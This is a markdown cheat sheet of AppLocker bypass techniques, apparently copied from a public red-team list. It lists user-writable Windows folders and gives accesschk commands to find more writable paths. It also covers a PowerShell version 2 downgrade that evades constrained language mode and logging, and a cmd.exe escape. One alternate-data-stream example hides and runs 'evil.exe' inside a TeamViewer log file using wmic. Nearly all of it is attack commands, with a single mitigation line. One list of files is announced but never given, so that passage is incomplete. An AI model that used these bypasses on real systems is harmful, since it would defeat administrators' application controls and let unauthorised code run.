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applocker-bypasses.md

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AppLocker Bypasses

  • This list contains generic methods of bypassing AppLocker.

AppLocker Enumeration 

(Get-AppLockerPolicy -Local).RuleCollections

Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse

reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\

Placing files in writeable paths

  • The following folders are by default writable by normal users (depends on Windows version - This is from W10 1803)
C:\Windows\Tasks 
C:\Windows\Temp 
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System

Checking for Access

  • You can check the for additional paths by running accesschk from sysinternals and supplying these commands:
accesschk -w -s -q -u Users "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u Everyone "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u Interactive "C:\Program Files" >> programfiles.txt

accesschk -w -s -q -u Users "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Everyone "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Interactive "C:\Program Files (x86)" >> programfilesx86.txt

accesschk -w -s -q -u Users "C:\Windows" >> windows.txt
accesschk -w -s -q -u Everyone "C:\Windows" >> windows.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Windows" >> windows.txt
accesschk -w -s -q -u Interactive "C:\Windows" >> windows.txt

User writeable files

  • There are cases where files are writeable by the user and can be used to bypass AppLocker. One such known case is 3 files under C:\windows\system32\AppLocker called:

Powershell Version 2

Powershell -version 2

Bypasses Constrained language mode in PowerShell (and also logging). To fix this Powershell version 2 should be removed from Add/Remove Windows features.

CMD.exe Bypass

  • If you are in constrained language mode you can call cmd.exe as programs under System32 are allowed 
cmd.exe /c whoami

NTFS Alternate Data Streams (ADS)

AppLocker rules does not stop things that execute in ADS. More info on that here: https://hitco.at/blog/howto-prevent-bypassing-applocker-using-alternate-data-streams/ This means you can pipe data to a stream and execute it using many of the different methods: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Example on adding binary to a writable file under program files (using ADS):

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'


https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md